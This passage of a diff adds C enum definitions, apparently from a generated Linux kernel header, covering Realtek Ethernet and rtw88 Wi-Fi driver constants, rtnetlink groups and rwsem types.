128, + NPQ = 64, + FSWInt = 1, + Cfg9346_Lock = 0, + Cfg9346_Unlock = 192, + AcceptErr = 32, + AcceptRunt = 16, + AcceptBroadcast = 8, + AcceptMulticast = 4, + AcceptMyPhys = 2, + AcceptAllPhys = 1, + TxInterFrameGapShift = 24, + TxDMAShift = 8, + LEDS1 = 128, + LEDS0 = 64, + Speed_down = 16, + MEMMAP = 8, + IOMAP = 4, + VPD = 2, + PMEnable = 1, + ClkReqEn = 128, + MSIEnable = 32, + PCI_Clock_66MHz = 1, + PCI_Clock_33MHz = 0, + MagicPacket = 32, + LinkUp = 16, + Jumbo_En0 = 4, + Rdy_to_L23 = 2, + Beacon_en = 1, + Jumbo_En1 = 2, + BWF = 64, + MWF = 32, + UWF = 16, + Spi_en = 8, + LanWake = 2, + PMEStatus = 1, + ASPM_en = 1, + EnableBist = 32768, + Mac_dbgo_oe = 16384, + EnAnaPLL = 16384, + Normal_mode = 8192, + Force_half_dup = 4096, + Force_rxflow_en = 2048, + Force_txflow_en = 1024, + Cxpl_dbg_sel = 512, + ASF = 256, + PktCntrDisable = 128, + Mac_dbgo_sel = 28, + RxVlan = 64, + RxChkSum = 32, + PCIDAC = 16, + PCIMulRW = 8, + TBI_Enable = 128, + TxFlowCtrl = 64, + RxFlowCtrl = 32, + _1000bpsF = 16, + _100bps___2 = 8, + _10bps___2 = 4, + LinkStatus = 2, + FullDup = 1, + CounterReset = 1, + CounterDump = 8, + MagicPacket_v2 = 65536, +}; + +enum rtl_registers { + MAC0 = 0, + MAC4 = 4, + MAR0 = 8, + CounterAddrLow = 16, + CounterAddrHigh = 20, + TxDescStartAddrLow = 32, + TxDescStartAddrHigh = 36, + TxHDescStartAddrLow = 40, + TxHDescStartAddrHigh = 44, + FLASH = 48, + ERSR = 54, + ChipCmd = 55, + TxPoll = 56, + IntrMask = 60, + IntrStatus = 62, + TxConfig = 64, + RxConfig = 68, + Cfg9346 = 80, + Config0 = 81, + Config1 = 82, + Config2 = 83, + Config3 = 84, + Config4 = 85, + Config5 = 86, + PHYAR = 96, + PHYstatus = 108, + RxMaxSize = 218, + CPlusCmd = 224, + IntrMitigate = 226, + RxDescAddrLow = 228, + RxDescAddrHigh = 232, + EarlyTxThres = 236, + MaxTxPacketSize = 236, + FuncEvent = 240, + FuncEventMask = 244, + FuncPresetState = 248, + IBCR0 = 248, + IBCR2 = 249, + IBIMR0 = 250, + IBISR0 = 251, + FuncForceEvent = 252, +}; + +enum rtl_rx_desc_bit { + PID1 = 262144, + PID0 = 131072, + IPFail = 65536, + UDPFail = 32768, + TCPFail = 16384, + RxVlanTag = 65536, +}; + +enum rtl_tx_desc_bit { + TD_LSO = 134217728, + TxVlanTag = 131072, +}; + +enum rtl_tx_desc_bit_0 { + TD0_TCP_CS = 65536, + TD0_UDP_CS = 131072, + TD0_IP_CS = 262144, +}; + +enum rtl_tx_desc_bit_1 { + TD1_GTSENV4 = 67108864, + TD1_GTSENV6 = 33554432, + TD1_IPv6_CS = 268435456, + TD1_IPv4_CS = 536870912, + TD1_TCP_CS = 1073741824, + TD1_UDP_CS = -2147483648, +}; + +enum rtl_version { + RTL_VER_UNKNOWN = 0, + RTL_VER_01 = 1, + RTL_VER_02 = 2, + RTL_VER_03 = 3, + RTL_VER_04 = 4, + RTL_VER_05 = 5, + RTL_VER_06 = 6, + RTL_VER_07 = 7, + RTL_VER_08 = 8, + RTL_VER_09 = 9, + RTL_TEST_01 = 10, + RTL_VER_10 = 11, + RTL_VER_11 = 12, + RTL_VER_12 = 13, + RTL_VER_13 = 14, + RTL_VER_14 = 15, + RTL_VER_15 = 16, + RTL_VER_MAX = 17, +}; + +enum rtmutex_chainwalk { + RT_MUTEX_MIN_CHAINWALK = 0, + RT_MUTEX_FULL_CHAINWALK = 1, +}; + +enum rtnetlink_groups { + RTNLGRP_NONE = 0, + RTNLGRP_LINK = 1, + RTNLGRP_NOTIFY = 2, + RTNLGRP_NEIGH = 3, + RTNLGRP_TC = 4, + RTNLGRP_IPV4_IFADDR = 5, + RTNLGRP_IPV4_MROUTE = 6, + RTNLGRP_IPV4_ROUTE = 7, + RTNLGRP_IPV4_RULE = 8, + RTNLGRP_IPV6_IFADDR = 9, + RTNLGRP_IPV6_MROUTE = 10, + RTNLGRP_IPV6_ROUTE = 11, + RTNLGRP_IPV6_IFINFO = 12, + RTNLGRP_DECnet_IFADDR = 13, + RTNLGRP_NOP2 = 14, + RTNLGRP_DECnet_ROUTE = 15, + RTNLGRP_DECnet_RULE = 16, + RTNLGRP_NOP4 = 17, + RTNLGRP_IPV6_PREFIX = 18, + RTNLGRP_IPV6_RULE = 19, + RTNLGRP_ND_USEROPT = 20, + RTNLGRP_PHONET_IFADDR = 21, + RTNLGRP_PHONET_ROUTE = 22, + RTNLGRP_DCB = 23, + RTNLGRP_IPV4_NETCONF = 24, + RTNLGRP_IPV6_NETCONF = 25, + RTNLGRP_MDB = 26, + RTNLGRP_MPLS_ROUTE = 27, + RTNLGRP_NSID = 28, + RTNLGRP_MPLS_NETCONF = 29, + RTNLGRP_IPV4_MROUTE_R = 30, + RTNLGRP_IPV6_MROUTE_R = 31, + RTNLGRP_NEXTHOP = 32, + RTNLGRP_BRVLAN = 33, + RTNLGRP_MCTP_IFADDR = 34, + RTNLGRP_TUNNEL = 35, + RTNLGRP_STATS = 36, + __RTNLGRP_MAX = 37, +}; + +enum rtnl_kinds { + RTNL_KIND_NEW = 0, + RTNL_KIND_DEL = 1, + RTNL_KIND_GET = 2, + RTNL_KIND_SET = 3, +}; + +enum rtnl_link_flags { + RTNL_FLAG_DOIT_UNLOCKED = 1, + RTNL_FLAG_BULK_DEL_SUPPORTED = 2, + RTNL_FLAG_DUMP_UNLOCKED = 4, + RTNL_FLAG_DUMP_SPLIT_NLM_DONE = 8, +}; + +enum rtw8822c_dpk_agc_phase { + RTW_DPK_GAIN_CHECK = 0, + RTW_DPK_GAIN_LARGE = 1, + RTW_DPK_GAIN_LESS = 2, + RTW_DPK_GL_LARGE = 3, + RTW_DPK_GL_LESS = 4, + RTW_DPK_LOSS_CHECK = 5, + RTW_DPK_AGC_OUT = 6, +}; + +enum rtw8822c_dpk_one_shot_action { + RTW_DPK_CAL_PWR = 0, + RTW_DPK_GAIN_LOSS = 1, + RTW_DPK_DO_DPK = 2, + RTW_DPK_DPK_ON = 3, + RTW_DPK_DAGC = 4, + RTW_DPK_ACTION_MAX = 5, +}; + +enum rtw_bandwidth { + RTW_CHANNEL_WIDTH_20 = 0, + RTW_CHANNEL_WIDTH_40 = 1, + RTW_CHANNEL_WIDTH_80 = 2, + RTW_CHANNEL_WIDTH_160 = 3, + RTW_CHANNEL_WIDTH_80_80 = 4, + RTW_CHANNEL_WIDTH_5 = 5, + RTW_CHANNEL_WIDTH_10 = 6, +}; + +enum rtw_bb_path { + BB_PATH_A = 1, + BB_PATH_B = 2, + BB_PATH_C = 4, + BB_PATH_D = 8, + BB_PATH_AB = 3, + BB_PATH_AC = 5, + BB_PATH_AD = 9, + BB_PATH_BC = 6, + BB_PATH_BD = 10, + BB_PATH_CD = 12, + BB_PATH_ABC = 7, + BB_PATH_ABD = 11, + BB_PATH_ACD = 13, + BB_PATH_BCD = 14, + BB_PATH_ABCD = 15, +}; + +enum rtw_beacon_filter_offload_mode { + BCN_FILTER_OFFLOAD_MODE_0 = 0, + BCN_FILTER_OFFLOAD_MODE_1 = 1, + BCN_FILTER_OFFLOAD_MODE_2 = 2, + BCN_FILTER_OFFLOAD_MODE_3 = 3, + BCN_FILTER_OFFLOAD_MODE_DEFAULT = 0, +}; + +enum rtw_bfee_role { + RTW_BFEE_NONE = 0, + RTW_BFEE_SU = 1, + RTW_BFEE_MU = 2, +}; + +enum rtw_c2h_cmd_id { + C2H_CCX_TX_RPT = 3, + C2H_BT_INFO = 9, + C2H_BT_MP_INFO = 11, + C2H_BT_HID_INFO = 69, + C2H_RA_RPT = 12, + C2H_HW_FEATURE_REPORT = 25, + C2H_WLAN_INFO = 39, + C2H_WLAN_RFON = 50, + C2H_BCN_FILTER_NOTIFY = 54, + C2H_ADAPTIVITY = 55, + C2H_SCAN_RESULT = 56, + C2H_HW_FEATURE_DUMP = 253, + C2H_HALMAC = 255, +}; + +enum rtw_c2h_cmd_id_ext { + C2H_SCAN_STATUS_RPT = 3, + C2H_CCX_RPT = 15, + C2H_CHAN_SWITCH = 34, +}; + +enum rtw_channel_type { + RTW_CHANNEL_PASSIVE = 0, + RTW_CHANNEL_ACTIVE = 1, + RTW_CHANNEL_RADAR = 2, +}; + +enum rtw_chip_type { + RTW_CHIP_TYPE_8822B = 0, + RTW_CHIP_TYPE_8822C = 1, + RTW_CHIP_TYPE_8723D = 2, + RTW_CHIP_TYPE_8821C = 3, + RTW_CHIP_TYPE_8703B = 4, +}; + +enum rtw_chip_ver { + RTW_CHIP_VER_CUT_A = 0, + RTW_CHIP_VER_CUT_B = 1, + RTW_CHIP_VER_CUT_C = 2, + RTW_CHIP_VER_CUT_D = 3, + RTW_CHIP_VER_CUT_E = 4, + RTW_CHIP_VER_CUT_F = 5, + RTW_CHIP_VER_CUT_G = 6, +}; + +enum rtw_coex_bt_state_cnt { + COEX_CNT_BT_RETRY = 0, + COEX_CNT_BT_REINIT = 1, + COEX_CNT_BT_REENABLE = 2, + COEX_CNT_BT_POPEVENT = 3, + COEX_CNT_BT_SETUPLINK = 4, + COEX_CNT_BT_IGNWLANACT = 5, + COEX_CNT_BT_INQ = 6, + COEX_CNT_BT_PAGE = 7, + COEX_CNT_BT_ROLESWITCH = 8, + COEX_CNT_BT_AFHUPDATE = 9, + COEX_CNT_BT_INFOUPDATE = 10, + COEX_CNT_BT_IQK = 11, + COEX_CNT_BT_IQKFAIL = 12, + COEX_CNT_BT_MAX = 13, +}; + +enum rtw_coex_wl_state_cnt { + COEX_CNT_WL_SCANAP = 0, + COEX_CNT_WL_CONNPKT = 1, + COEX_CNT_WL_COEXRUN = 2, + COEX_CNT_WL_NOISY0 = 3, + COEX_CNT_WL_NOISY1 = 4, + COEX_CNT_WL_NOISY2 = 5, + COEX_CNT_WL_5MS_NOEXTEND = 6, + COEX_CNT_WL_FW_NOTIFY = 7, + COEX_CNT_WL_MAX = 8, +}; + +enum rtw_debug_mask { + RTW_DBG_PCI = 1, + RTW_DBG_TX = 2, + RTW_DBG_RX = 4, + RTW_DBG_PHY = 8, + RTW_DBG_FW = 16, + RTW_DBG_EFUSE = 32, + RTW_DBG_COEX = 64, + RTW_DBG_RFK = 128, + RTW_DBG_REGD = 256, + RTW_DBG_DEBUGFS = 512, + RTW_DBG_PS = 1024, + RTW_DBG_BF = 2048, + RTW_DBG_WOW = 4096, + RTW_DBG_CFO = 8192, + RTW_DBG_PATH_DIV = 16384, + RTW_DBG_ADAPTIVITY = 32768, + RTW_DBG_HW_SCAN = 65536, + RTW_DBG_STATE = 131072, + RTW_DBG_SDIO = 262144, + RTW_DBG_USB = 524288, + RTW_DBG_UNEXP = 2147483648, + RTW_DBG_ALL = 4294967295, +}; + +enum rtw_dm_cap { + RTW_DM_CAP_NA = 0, + RTW_DM_CAP_TXGAPK = 1, + RTW_DM_CAP_NUM = 2, +}; + +enum rtw_dma_mapping { + RTW_DMA_MAPPING_EXTRA = 0, + RTW_DMA_MAPPING_LOW = 1, + RTW_DMA_MAPPING_NORMAL = 2, + RTW_DMA_MAPPING_HIGH = 3, + RTW_DMA_MAPPING_MAX = 4, + RTW_DMA_MAPPING_UNDEF = 5, +}; + +enum rtw_edcca_mode { + RTW_EDCCA_NORMAL = 0, + RTW_EDCCA_ADAPTIVITY = 1, +}; + +enum rtw_evm { + RTW_EVM_OFDM = 0, + RTW_EVM_1SS = 1, + RTW_EVM_2SS_A = 2, + RTW_EVM_2SS_B = 3, + RTW_EVM_NUM = 4, +}; + +enum rtw_flags { + RTW_FLAG_RUNNING = 0, + RTW_FLAG_FW_RUNNING = 1, + RTW_FLAG_SCANNING = 2, + RTW_FLAG_POWERON = 3, + RTW_FLAG_LEISURE_PS = 4, + RTW_FLAG_LEISURE_PS_DEEP = 5, + RTW_FLAG_DIG_DISABLE = 6, + RTW_FLAG_BUSY_TRAFFIC = 7, + RTW_FLAG_WOWLAN = 8, + RTW_FLAG_RESTARTING = 9, + RTW_FLAG_RESTART_TRIGGERING = 10, + RTW_FLAG_FORCE_LOWEST_RATE = 11, + NUM_OF_RTW_FLAGS = 12, +}; + +enum rtw_fw_feature { + FW_FEATURE_SIG = 1, + FW_FEATURE_LPS_C2H = 2, + FW_FEATURE_LCLK = 4, + FW_FEATURE_PG = 8, + FW_FEATURE_TX_WAKE = 16, + FW_FEATURE_BCN_FILTER = 32, + FW_FEATURE_NOTIFY_SCAN = 64, + FW_FEATURE_ADAPTIVITY = 128, + FW_FEATURE_SCAN_OFFLOAD = 256, + FW_FEATURE_MAX = 2147483648, +}; + +enum rtw_fw_feature_ext { + FW_FEATURE_EXT_OLD_PAGE_NUM = 1, +}; + +enum rtw_fw_fifo_sel { + RTW_FW_FIFO_SEL_TX = 0, + RTW_FW_FIFO_SEL_RX = 1, + RTW_FW_FIFO_SEL_RSVD_PAGE = 2, + RTW_FW_FIFO_SEL_REPORT = 3, + RTW_FW_FIFO_SEL_LLT = 4, + RTW_FW_FIFO_SEL_RXBUF_FW = 5, + RTW_FW_FIFO_MAX = 6, +}; + +enum rtw_fw_rf_type { + FW_RF_1T2R = 0, + FW_RF_2T4R = 1, + FW_RF_2T2R = 2, + FW_RF_2T3R = 3, + FW_RF_1T1R = 4, + FW_RF_2T2R_GREEN = 5, + FW_RF_3T3R = 6, + FW_RF_3T4R = 7, + FW_RF_4T4R = 8, + FW_RF_MAX_TYPE = 15, +}; + +enum rtw_fw_type { + RTW_NORMAL_FW = 0, + RTW_WOWLAN_FW = 1, +}; + +enum rtw_fwcd_item { + RTW_FWCD_TLV = 0, + RTW_FWCD_REG = 1, + RTW_FWCD_ROM = 2, + RTW_FWCD_IMEM = 3, + RTW_FWCD_DMEM = 4, + RTW_FWCD_EMEM = 5, +}; + +enum rtw_hci_type { + RTW_HCI_TYPE_PCIE = 0, + RTW_HCI_TYPE_USB = 1, + RTW_HCI_TYPE_SDIO = 2, + RTW_HCI_TYPE_UNDEFINE = 3, +}; + +enum rtw_hw_key_type { + RTW_CAM_NONE = 0, + RTW_CAM_WEP40 = 1, + RTW_CAM_TKIP = 2, + RTW_CAM_AES = 4, + RTW_CAM_WEP104 = 5, +}; + +enum rtw_ip_sel { + RTW_IP_SEL_PHY = 0, + RTW_IP_SEL_MAC = 1, + RTW_IP_SEL_DBI = 2, + RTW_IP_SEL_UNDEF = 65535, +}; + +enum rtw_lps_deep_mode { + LPS_DEEP_MODE_NONE = 0, + LPS_DEEP_MODE_LCLK = 1, + LPS_DEEP_MODE_PG = 2, +}; + +enum rtw_lps_mode { + RTW_MODE_ACTIVE = 0, + RTW_MODE_LPS = 1, + RTW_MODE_WMM_PS = 2, +}; + +enum rtw_net_type { + RTW_NET_NO_LINK = 0, + RTW_NET_AD_HOC = 1, + RTW_NET_MGD_LINKED = 2, + RTW_NET_AP_MODE = 3, +}; + +enum rtw_packet_type { + RTW_PACKET_PROBE_REQ = 0, + RTW_PACKET_UNDEFINE = 2147483647, +}; + +enum rtw_pci_flags { + RTW_PCI_FLAG_NAPI_RUNNING = 0, + NUM_OF_RTW_PCI_FLAGS = 1, +}; + +enum rtw_phy_band_type { + PHY_BAND_2G = 0, + PHY_BAND_5G = 1, +}; + +enum rtw_phy_cck_pd_lv { + CCK_PD_LV0 = 0, + CCK_PD_LV1 = 1, + CCK_PD_LV2 = 2, + CCK_PD_LV3 = 3, + CCK_PD_LV4 = 4, + CCK_PD_LV_MAX = 5, +}; + +enum rtw_port { + RTW_PORT_0 = 0, + RTW_PORT_1 = 1, + RTW_PORT_2 = 2, + RTW_PORT_3 = 3, + RTW_PORT_4 = 4, + RTW_PORT_NUM = 5, +}; + +enum rtw_pwr_seq_cmd_delay_unit { + RTW_PWR_DELAY_US = 0, + RTW_PWR_DELAY_MS = 1, +}; + +enum rtw_pwr_state { + RTW_RF_OFF = 0, + RTW_RF_ON = 4, + RTW_ALL_ON = 12, +}; + +enum rtw_rate_index { + RTW_RATEID_BGN_40M_2SS = 0, + RTW_RATEID_BGN_40M_1SS = 1, + RTW_RATEID_BGN_20M_2SS = 2, + RTW_RATEID_BGN_20M_1SS = 3, + RTW_RATEID_GN_N2SS = 4, + RTW_RATEID_GN_N1SS = 5, + RTW_RATEID_BG = 6, + RTW_RATEID_G = 7, + RTW_RATEID_B_20M = 8, + RTW_RATEID_ARFR0_AC_2SS = 9, + RTW_RATEID_ARFR1_AC_1SS = 10, + RTW_RATEID_ARFR2_AC_2G_1SS = 11, + RTW_RATEID_ARFR3_AC_2G_2SS = 12, + RTW_RATEID_ARFR4_AC_3SS = 13, + RTW_RATEID_ARFR5_N_3SS = 14, + RTW_RATEID_ARFR7_N_4SS = 15, + RTW_RATEID_ARFR6_AC_4SS = 16, +}; + +enum rtw_rate_section { + RTW_RATE_SECTION_CCK = 0, + RTW_RATE_SECTION_OFDM = 1, + RTW_RATE_SECTION_HT_1S = 2, + RTW_RATE_SECTION_HT_2S = 3, + RTW_RATE_SECTION_VHT_1S = 4, + RTW_RATE_SECTION_VHT_2S = 5, + RTW_RATE_SECTION_MAX = 6, +}; + +enum rtw_regd_state { + RTW_REGD_STATE_WORLDWIDE = 0, + RTW_REGD_STATE_PROGRAMMED = 1, + RTW_REGD_STATE_SETTING = 2, + RTW_REGD_STATE_NR = 3, +}; + +enum rtw_regulatory_domains { + RTW_REGD_FCC = 0, + RTW_REGD_MKK = 1, + RTW_REGD_ETSI = 2, + RTW_REGD_IC = 3, + RTW_REGD_KCC = 4, + RTW_REGD_ACMA = 5, + RTW_REGD_CHILE = 6, + RTW_REGD_UKRAINE = 7, + RTW_REGD_MEXICO = 8, + RTW_REGD_CN = 9, + RTW_REGD_QATAR = 10, + RTW_REGD_UK = 11, + RTW_REGD_WW = 12, + RTW_REGD_MAX = 13, +}; + +enum rtw_rf_band { + RF_BAND_2G_CCK = 0, + RF_BAND_2G_OFDM = 1, + RF_BAND_5G_L = 2, + RF_BAND_5G_M = 3, + RF_BAND_5G_H = 4, + RF_BAND_MAX = 5, +}; + +enum rtw_rf_path { + RF_PATH_A = 0, + RF_PATH_B = 1, + RF_PATH_C = 2, + RF_PATH_D = 3, +}; + +enum rtw_rf_type { + RF_1T1R = 0, + RF_1T2R = 1, + RF_2T2R = 2, + RF_2T3R = 3, + RF_2T4R = 4, + RF_3T3R = 5, + RF_3T4R = 6, + RF_4T4R = 7, + RF_TYPE_MAX = 8, +}; + +enum rtw_rfe_fem { + RTW_RFE_IFEM = 0, + RTW_RFE_EFEM = 1, + RTW_RFE_IFEM2G_EFEM5G = 2, + RTW_RFE_NUM = 3, +}; + +enum rtw_rsvd_packet_type { + RSVD_BEACON = 0, + RSVD_DUMMY = 1, + RSVD_PS_POLL = 2, + RSVD_PROBE_RESP = 3, + RSVD_NULL = 4, + RSVD_QOS_NULL = 5, + RSVD_LPS_PG_DPK = 6, + RSVD_LPS_PG_INFO = 7, + RSVD_PROBE_REQ = 8, + RSVD_NLO_INFO = 9, + RSVD_CH_INFO = 10, +}; + +enum rtw_rx_desc_enc { + RX_DESC_ENC_NONE = 0, + RX_DESC_ENC_WEP40 = 1, + RX_DESC_ENC_TKIP_WO_MIC = 2, + RX_DESC_ENC_TKIP_MIC = 3, + RX_DESC_ENC_AES = 4, + RX_DESC_ENC_WEP104 = 5, +}; + +enum rtw_rx_queue_type { + RTW_RX_QUEUE_MPDU = 0, + RTW_RX_QUEUE_C2H = 1, + RTK_MAX_RX_QUEUE_NUM = 2, +}; + +enum rtw_sar_bands { + RTW_SAR_BAND_0 = 0, + RTW_SAR_BAND_1 = 1, + RTW_SAR_BAND_3 = 2, + RTW_SAR_BAND_4 = 3, + RTW_SAR_BAND_NR = 4, +}; + +enum rtw_sar_sources { + RTW_SAR_SOURCE_NONE = 0, + RTW_SAR_SOURCE_COMMON = 1, +}; + +enum rtw_sc_offset { + RTW_SC_DONT_CARE = 0, + RTW_SC_20_UPPER = 1, + RTW_SC_20_LOWER = 2, + RTW_SC_20_UPMOST = 3, + RTW_SC_20_LOWEST = 4, + RTW_SC_40_UPPER = 9, + RTW_SC_40_LOWER = 10, +}; + +enum rtw_scan_extra_id { + RTW_SCAN_EXTRA_ID_DFS = 0, +}; + +enum rtw_scan_extra_info { + RTW_SCAN_EXTRA_ACTION_SCAN = 0, +}; + +enum rtw_scan_notify_id { + RTW_SCAN_NOTIFY_ID_PRESWITCH = 0, + RTW_SCAN_NOTIFY_ID_POSTSWITCH = 1, + RTW_SCAN_NOTIFY_ID_PROBE_PRETX = 2, + RTW_SCAN_NOTIFY_ID_PROBE_ISSUETX = 3, + RTW_SCAN_NOTIFY_ID_NULL0_PRETX = 4, + RTW_SCAN_NOTIFY_ID_NULL0_ISSUETX = 5, + RTW_SCAN_NOTIFY_ID_NULL0_POSTTX = 6, + RTW_SCAN_NOTIFY_ID_NULL1_PRETX = 7, + RTW_SCAN_NOTIFY_ID_NULL1_ISSUETX = 8, + RTW_SCAN_NOTIFY_ID_NULL1_POSTTX = 9, + RTW_SCAN_NOTIFY_ID_DWELLEXT = 10, +}; + +enum rtw_scan_report_code { + RTW_SCAN_REPORT_SUCCESS = 0, + RTW_SCAN_REPORT_ERR_PHYDM = 1, + RTW_SCAN_REPORT_ERR_ID = 2, + RTW_SCAN_REPORT_ERR_TX = 3, + RTW_SCAN_REPORT_CANCELED = 16, + RTW_SCAN_REPORT_CANCELED_EXT = 17, + RTW_SCAN_REPORT_FW_DISABLED = 240, +}; + +enum rtw_snr { + RTW_SNR_OFDM_A = 0, + RTW_SNR_OFDM_B = 1, + RTW_SNR_OFDM_C = 2, + RTW_SNR_OFDM_D = 3, + RTW_SNR_1SS_A = 4, + RTW_SNR_1SS_B = 5, + RTW_SNR_1SS_C = 6, + RTW_SNR_1SS_D = 7, + RTW_SNR_2SS_A = 8, + RTW_SNR_2SS_B = 9, + RTW_SNR_2SS_C = 10, + RTW_SNR_2SS_D = 11, + RTW_SNR_NUM = 12, +}; + +enum rtw_supported_band { + RTW_BAND_2G = 1, + RTW_BAND_5G = 2, + RTW_BAND_60G = 4, +}; + +enum rtw_trx_desc_rate { + DESC_RATE1M = 0, + DESC_RATE2M = 1, + DESC_RATE5_5M = 2, + DESC_RATE11M = 3, + DESC_RATE6M = 4, + DESC_RATE9M = 5, + DESC_RATE12M = 6, + DESC_RATE18M = 7, + DESC_RATE24M = 8, + DESC_RATE36M = 9, + DESC_RATE48M = 10, + DESC_RATE54M = 11, + DESC_RATEMCS0 = 12, + DESC_RATEMCS1 = 13, + DESC_RATEMCS2 = 14, + DESC_RATEMCS3 = 15, + DESC_RATEMCS4 = 16, + DESC_RATEMCS5 = 17, + DESC_RATEMCS6 = 18, + DESC_RATEMCS7 = 19, + DESC_RATEMCS8 = 20, + DESC_RATEMCS9 = 21, + DESC_RATEMCS10 = 22, + DESC_RATEMCS11 = 23, + DESC_RATEMCS12 = 24, + DESC_RATEMCS13 = 25, + DESC_RATEMCS14 = 26, + DESC_RATEMCS15 = 27, + DESC_RATEMCS16 = 28, + DESC_RATEMCS17 = 29, + DESC_RATEMCS18 = 30, + DESC_RATEMCS19 = 31, + DESC_RATEMCS20 = 32, + DESC_RATEMCS21 = 33, + DESC_RATEMCS22 = 34, + DESC_RATEMCS23 = 35, + DESC_RATEMCS24 = 36, + DESC_RATEMCS25 = 37, + DESC_RATEMCS26 = 38, + DESC_RATEMCS27 = 39, + DESC_RATEMCS28 = 40, + DESC_RATEMCS29 = 41, + DESC_RATEMCS30 = 42, + DESC_RATEMCS31 = 43, + DESC_RATEVHT1SS_MCS0 = 44, + DESC_RATEVHT1SS_MCS1 = 45, + DESC_RATEVHT1SS_MCS2 = 46, + DESC_RATEVHT1SS_MCS3 = 47, + DESC_RATEVHT1SS_MCS4 = 48, + DESC_RATEVHT1SS_MCS5 = 49, + DESC_RATEVHT1SS_MCS6 = 50, + DESC_RATEVHT1SS_MCS7 = 51, + DESC_RATEVHT1SS_MCS8 = 52, + DESC_RATEVHT1SS_MCS9 = 53, + DESC_RATEVHT2SS_MCS0 = 54, + DESC_RATEVHT2SS_MCS1 = 55, + DESC_RATEVHT2SS_MCS2 = 56, + DESC_RATEVHT2SS_MCS3 = 57, + DESC_RATEVHT2SS_MCS4 = 58, + DESC_RATEVHT2SS_MCS5 = 59, + DESC_RATEVHT2SS_MCS6 = 60, + DESC_RATEVHT2SS_MCS7 = 61, + DESC_RATEVHT2SS_MCS8 = 62, + DESC_RATEVHT2SS_MCS9 = 63, + DESC_RATEVHT3SS_MCS0 = 64, + DESC_RATEVHT3SS_MCS1 = 65, + DESC_RATEVHT3SS_MCS2 = 66, + DESC_RATEVHT3SS_MCS3 = 67, + DESC_RATEVHT3SS_MCS4 = 68, + DESC_RATEVHT3SS_MCS5 = 69, + DESC_RATEVHT3SS_MCS6 = 70, + DESC_RATEVHT3SS_MCS7 = 71, + DESC_RATEVHT3SS_MCS8 = 72, + DESC_RATEVHT3SS_MCS9 = 73, + DESC_RATEVHT4SS_MCS0 = 74, + DESC_RATEVHT4SS_MCS1 = 75, + DESC_RATEVHT4SS_MCS2 = 76, + DESC_RATEVHT4SS_MCS3 = 77, + DESC_RATEVHT4SS_MCS4 = 78, + DESC_RATEVHT4SS_MCS5 = 79, + DESC_RATEVHT4SS_MCS6 = 80, + DESC_RATEVHT4SS_MCS7 = 81, + DESC_RATEVHT4SS_MCS8 = 82, + DESC_RATEVHT4SS_MCS9 = 83, + DESC_RATE_MAX = 84, +}; + +enum rtw_tx_desc_queue_select { + TX_DESC_QSEL_TID0 = 0, + TX_DESC_QSEL_TID1 = 1, + TX_DESC_QSEL_TID2 = 2, + TX_DESC_QSEL_TID3 = 3, + TX_DESC_QSEL_TID4 = 4, + TX_DESC_QSEL_TID5 = 5, + TX_DESC_QSEL_TID6 = 6, + TX_DESC_QSEL_TID7 = 7, + TX_DESC_QSEL_TID8 = 8, + TX_DESC_QSEL_TID9 = 9, + TX_DESC_QSEL_TID10 = 10, + TX_DESC_QSEL_TID11 = 11, + TX_DESC_QSEL_TID12 = 12, + TX_DESC_QSEL_TID13 = 13, + TX_DESC_QSEL_TID14 = 14, + TX_DESC_QSEL_TID15 = 15, + TX_DESC_QSEL_BEACON = 16, + TX_DESC_QSEL_HIGH = 17, + TX_DESC_QSEL_MGMT = 18, + TX_DESC_QSEL_H2C = 19, +}; + +enum rtw_tx_queue_type { + RTW_TX_QUEUE_BK = 0, + RTW_TX_QUEUE_BE = 1, + RTW_TX_QUEUE_VI = 2, + RTW_TX_QUEUE_VO = 3, + RTW_TX_QUEUE_BCN = 4, + RTW_TX_QUEUE_MGMT = 5, + RTW_TX_QUEUE_HI0 = 6, + RTW_TX_QUEUE_H2C = 7, + RTK_MAX_TX_QUEUE_NUM = 8, +}; + +enum rtw_txq_flags { + RTW_TXQ_AMPDU = 0, + RTW_TXQ_BLOCK_BA = 1, +}; + +enum rtw_vif_port_set { + PORT_SET_MAC_ADDR = 1, + PORT_SET_BSSID = 2, + PORT_SET_NET_TYPE = 4, + PORT_SET_AID = 8, + PORT_SET_BCN_CTRL = 16, +}; + +enum rtw_wake_reason { + RTW_WOW_RSN_RX_PTK_REKEY = 1, + RTW_WOW_RSN_RX_GTK_REKEY = 2, + RTW_WOW_RSN_RX_DEAUTH = 8, + RTW_WOW_RSN_DISCONNECT = 16, + RTW_WOW_RSN_RX_MAGIC_PKT = 33, + RTW_WOW_RSN_RX_PATTERN_MATCH = 35, + RTW_WOW_RSN_RX_NLO = 85, +}; + +enum rtw_wireless_set { + WIRELESS_CCK = 1, + WIRELESS_OFDM = 2, + WIRELESS_HT = 4, + WIRELESS_VHT = 8, +}; + +enum rtw_wlan_cpu { + RTW_WCPU_11AC = 0, + RTW_WCPU_11N = 1, +}; + +enum rtw_wow_flags { + RTW_WOW_FLAG_EN_MAGIC_PKT = 0, + RTW_WOW_FLAG_EN_REKEY_PKT = 1, + RTW_WOW_FLAG_EN_DISCONNECT = 2, + RTW_WOW_FLAG_MAX = 3, +}; + +enum rtw_wow_pattern_type { + RTW_PATTERN_BROADCAST = 0, + RTW_PATTERN_MULTICAST = 1, + RTW_PATTERN_UNICAST = 2, + RTW_PATTERN_VALID = 3, + RTW_PATTERN_INVALID = 4, +}; + +enum ru_state { + RU_SUSPENDED = 0, + RU_RUNNING = 1, + RU_UNINITIALIZED = -1, +}; + +enum rw_hint { + WRITE_LIFE_NOT_SET = 0, + WRITE_LIFE_NONE = 1, + WRITE_LIFE_SHORT = 2, + WRITE_LIFE_MEDIUM = 3, + WRITE_LIFE_LONG = 4, + WRITE_LIFE_EXTREME = 5, +} __attribute__((mode(byte))); + +enum rwsem_waiter_type { + RWSEM_WAITING_FOR_WRITE = 0, + RWSEM_WAITING_FOR_READ = 1, +}; + +enum rwsem_wake_type { + RWSEM_WAKE_ANY = 0, + RWSEM_WAKE_READERS = 1, + RWSEM_WAKE_READ_OWNED = 2, +}; + +enum rx_crypto { + RX_CRYPTO_SUCCESS = 0, + RX_CRYPTO_FAIL_ICV = 1, + RX_CRYPTO_FAIL_MIC = 2, + RX_CRYPTO_FAIL_KEY = 3, +}; + +enum rx_handler_result { + RX_HANDLER_CONSUMED = 0, + RX_HANDLER_ANOTHER = 1, + RX_HANDLER_EXACT = 2, + RX_HANDLER_PASS = 3, +}; + +typedef enum rx_handler_result rx_handler_result_t; + +enum rxdone_entry_desc_flags { + RXDONE_SIGNAL_PLCP = 1, + RXDONE_SIGNAL_BITRATE = 2, + 